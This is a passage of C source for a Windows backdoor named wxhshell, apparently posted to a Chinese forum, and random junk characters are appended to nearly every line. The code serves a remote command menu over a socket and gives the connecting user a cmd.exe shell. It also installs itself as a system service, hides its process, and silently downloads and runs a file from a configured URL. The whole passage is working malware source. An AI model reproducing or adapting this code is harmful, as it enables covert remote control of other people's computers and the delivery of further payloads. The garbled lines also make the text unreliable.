  // 帮助 *bZV4}  
  case '?': { !D1F4v[c=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?^yZVmAo]  
    break; N%`ikdaTd  
  } gSP|;Gy  
  // 安装 xbIxtZm  
  case 'i': { 2lGq6Au:  
    if(Install()) r:u5+A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK_sl>v.7  
    else nOOA5Gz   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bJ9>,,D  
    break; GwpJxiFgk  
    } 0.?|%;^ib  
  // 卸载 FO*Py)/rX  
  case 'r': { Nf3L  
    if(Uninstall()) /P,J);Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ed& ,  
    else MJK L4 G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dLv\H&  
    break; ecr pv+  
    } qgu.c`GmW  
  // 显示 wxhshell 所在路径 .>&kA f.  
  case 'p': { u{I)C0  
    char svExeFile[MAX_PATH]; [/#;u*n  
    strcpy(svExeFile,"\n\r"); z7J#1q~:yY  
      strcat(svExeFile,ExeFile); [*,`a]z-Q  
        send(wsh,svExeFile,strlen(svExeFile),0); )'nGuL-w!i  
    break; b-ZvEDCR  
    } / VJ[1o^  
  // 重启 \5J/ ?  
  case 'b': { wJ+"JQY.J+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TVKuvKH8U  
    if(Boot(REBOOT)) 5 J 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ h%ci3  
    else { D7 .R NXo  
    closesocket(wsh); @v|_APy#  
    ExitThread(0); YT#" HYO  
    } [_${N,1  
    break; r] 2}S=[  
    } T#T!a0  
  // 关机 TC ^EyjD  
  case 'd': { qdOaibH_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P E.^!j  
    if(Boot(SHUTDOWN)) 1C:lXx$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Jg )HU9  
    else { DUa`8cE}  
    closesocket(wsh); 2TY|)ltsF  
    ExitThread(0); K47W7zR  
    } (]rtBeT  
    break; %<K`d  
    } kIM* K%L}  
  // 获取shell 7IjFSN>  
  case 's': { EpS"NQEe  
    CmdShell(wsh); J}lBK P:-*  
    closesocket(wsh); Z5\u9E"]  
    ExitThread(0); Zs)HzOP)9  
    break; kyz_r6  
  } 4K:p  
  // 退出 d&t |Y:,8  
  case 'x': { AOhsat;O`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _aq3G9C_  
    CloseIt(wsh); _v<EFal  
    break; +K]kGF  
    } {R]4N]l>  
  // 离开 )mJl-u[0+  
  case 'q': { 4mUQVzV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YG<?|AS/  
    closesocket(wsh); D@&0 P&  
    WSACleanup(); +.5 /4?  
    exit(1); |no '^  
    break; *cJ GrLC  
        } 9aYCU/3  
  }  H 2\KI(  
  } T+RfMEdr  
KZJ;O7'`  
  // 提示信息 aw {?UvL&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]uj6-0q){W  
} <Sb W QbN  
  } $D\SueZ  
G5?Dt-;I  
  return; wSnY;Z9W_  
} @~xNax&^  
4)i/B99k  
// shell模块句柄 (?D47^F &  
int CmdShell(SOCKET sock) b$H{|[  
{ 1]m]b4]  
STARTUPINFO si; K6{{\r  
ZeroMemory(&si,sizeof(si)); o%5^dX&[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2t*@P"e!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "\U$aaF  
PROCESS_INFORMATION ProcessInfo; o"J}@nF  
char cmdline[]="cmd"; \XhzaM   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w SBDJvI  
  return 0; v 4DF #O  
} ZWxq<& Cg  
rhsSV3iM  
// 自身启动模式 TnCN2#BO  
int StartFromService(void) l+Uy  
{ :6./yj(  
typedef struct d7qHUx'=z  
{ N)WAzH  
  DWORD ExitStatus; &%$r3ePwc  
  DWORD PebBaseAddress; 2mWW0txil  
  DWORD AffinityMask; `)/G5 fB  
  DWORD BasePriority; /T!S)FD\/v  
  ULONG UniqueProcessId; |#Z:v1]"  
  ULONG InheritedFromUniqueProcessId; '/J}T -,Z  
}   PROCESS_BASIC_INFORMATION; a$l  
+K])&}Dw  
PROCNTQSIP NtQueryInformationProcess; inBBU[Sl  
g,@0 ;uVq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +x\b- '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ng;,;o.  
lrPiaSO`I  
  HANDLE             hProcess; ^?VYE26  
  PROCESS_BASIC_INFORMATION pbi; :)SLi  
0j F~cV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !g-|@W  
  if(NULL == hInst ) return 0; %tT&/F  
! jm>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oDXUa5x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gT 22!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a= +qR:wT  
k,LeBCqGcb  
  if (!NtQueryInformationProcess) return 0; : 2Ho  
7loIX Qw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !'Q/9%g  
  if(!hProcess) return 0; |<t"O  
<b~KR8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PF+v[h;,  
y2bL!Y<s9  
  CloseHandle(hProcess); !ZPaU11  
\cP\I5IW:s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >gtKyn]  
if(hProcess==NULL) return 0; .^6"nnfA#  
2;VggPpT  
HMODULE hMod; W2e~!:w  
char procName[255]; SQ9s  
unsigned long cbNeeded; t9685s  
! ~u;CMR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NpG5$?  
],YIEOx6  
  CloseHandle(hProcess); gNY}`'~hr  
P,^`|\#7  
if(strstr(procName,"services")) return 1; // 以服务启动 id="\12Bw  
n a,j  
  return 0; // 注册表启动 RcIGIt  
} t."hAvRL  
%"Q{|}  
// 主模块 gJ6 C&8tl  
int StartWxhshell(LPSTR lpCmdLine) F:"<4hiA"  
{ a;jXMR  
  SOCKET wsl; 2It$ bz  
BOOL val=TRUE; _h", ,"p#o  
  int port=0; wg\*FfQn  
  struct sockaddr_in door; { K'QE0'x  
UT|FV twO  
  if(wscfg.ws_autoins) Install(); 5-3`@ (/  
^tc2?T  
port=atoi(lpCmdLine); 5}@6euT5$  
-`x$a&}  
if(port<=0) port=wscfg.ws_port; >bWx!M]  
?kEcYD  
  WSADATA data; d~1Nct$:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }YH@T]O}  
yNMnByg3?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?9 hw]Q6r}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {KYbsD  
  door.sin_family = AF_INET; }<6xZy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WX$mAQDV  
  door.sin_port = htons(port); a "uO0LOb  
4)./d2/E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x;ym_UZ6e  
closesocket(wsl); H7bdL 8/  
return 1; iTJSW  
} C50&SrnBU1  
lL_M=td8W  
  if(listen(wsl,2) == INVALID_SOCKET) { ZWH?=Bk:  
closesocket(wsl); W&23M26"{  
return 1; s\A"B#9r  
} Q|/uL`_ni  
  Wxhshell(wsl); |y=;#A  
  WSACleanup(); W!|A3V35\:  
bkk1_X  
return 0; R L&z\S  
<+ 0cQq=2  
} \W$bOp  
ENW>bS8 e`  
// 以NT服务方式启动 =@$G3DM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EooQLZ  
{ 6yEYX'_  
DWORD   status = 0; (%*CfR:>  
  DWORD   specificError = 0xfffffff; tr3Rn :0]  
6) {jHnk)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (GB2("p`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h&d%#6mB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2]W"sT[  
  serviceStatus.dwWin32ExitCode     = 0; a-w=LpVM  
  serviceStatus.dwServiceSpecificExitCode = 0; Cj^:8 ?%  
  serviceStatus.dwCheckPoint       = 0; Gu} `X23  
  serviceStatus.dwWaitHint       = 0; Ln/6]CMl  
>Hb>wlYR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <8#Q5   
  if (hServiceStatusHandle==0) return; s6Ox!)&  
^M36=~j  
status = GetLastError(); 0ant0<  
  if (status!=NO_ERROR) wO:!B\e  
{ f@U\2r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5A(zQ'6  
    serviceStatus.dwCheckPoint       = 0; ivL}\~L  
    serviceStatus.dwWaitHint       = 0; 5y]1v  
    serviceStatus.dwWin32ExitCode     = status; vowU+Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; y+D 3(Bsn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`Wj 1 ,q  
    return; M, qX  
  } ;4XvlcGo  
Bc%A aZ0x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +%vBDcf  
  serviceStatus.dwCheckPoint       = 0; +c&n7  
  serviceStatus.dwWaitHint       = 0; i oCoFj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6f1%5&si  
} Fl{:aq"3  
g3[Zh=+]E  
// 处理NT服务事件,比如:启动、停止 P2J{ Ml#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U^jxKBq^  
{ Cw`8[)=}o  
switch(fdwControl) qFEGV+  
{ ~P&Brn"=Rs  
case SERVICE_CONTROL_STOP: D5]4(]k&  
  serviceStatus.dwWin32ExitCode = 0; &6!~Q,;K-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  z.fh4p  
  serviceStatus.dwCheckPoint   = 0; %JmRJpCvR  
  serviceStatus.dwWaitHint     = 0; _ 4:@+{  
  { QP/6N9/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [^wEKRt&  
  } _hP siZY9  
  return; N[e QT  
case SERVICE_CONTROL_PAUSE: cBICG",TA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H:9Z.|{Gv  
  break; !<9sOvka{  
case SERVICE_CONTROL_CONTINUE: 2kg<O%KA`c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #T\Yi|Qs#  
  break; +Kc1a;  
case SERVICE_CONTROL_INTERROGATE: x1:#rb'  
  break; @oC# k<  
}; }6/L5j:+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?v-Y1j  
} #hinb[fQ  
D(3\m)  
// 标准应用程序主函数 jDI)iW`P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8#%Sq=/+M  
{ Nxk3uF^  
4o,%}bo&  
// 获取操作系统版本 97"dOi!Wh  
OsIsNt=GetOsVer(); =+um:*a.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uK6_HvHuy  
3f'dBn5  
  // 从命令行安装 3$Ecq|4J:  
  if(strpbrk(lpCmdLine,"iI")) Install(); $*)??uU  
^qNh)?V?]I  
  // 下载执行文件 w k1O*_76  
if(wscfg.ws_downexe) { JTT"t@__  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C;m7 ~R  
  WinExec(wscfg.ws_filenam,SW_HIDE); mKWfRx*UdG  
} !3~VoNh,  
bu`8QQ"C  
if(!OsIsNt) { D&1*,`  
// 如果时win9x,隐藏进程并且设置为注册表启动 *"rgK|CM$  
HideProc(); OkSJob  
StartWxhshell(lpCmdLine); Z2z"K<Z W  
} Izrf42 >k  
else Fy4jujP<  
  if(StartFromService()) -fF1vJ7L  
  // 以服务方式启动 [~&C6pR  
  StartServiceCtrlDispatcher(DispatchTable); npcB+6  
else JQVu&S  
  // 普通方式启动 P3[+c4  
  StartWxhshell(lpCmdLine); a }6Fj&hj  
\EH:FM}l,  
return 0; T';<;6J**  
}
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只看该作者 1 发表于: 2006-10-10
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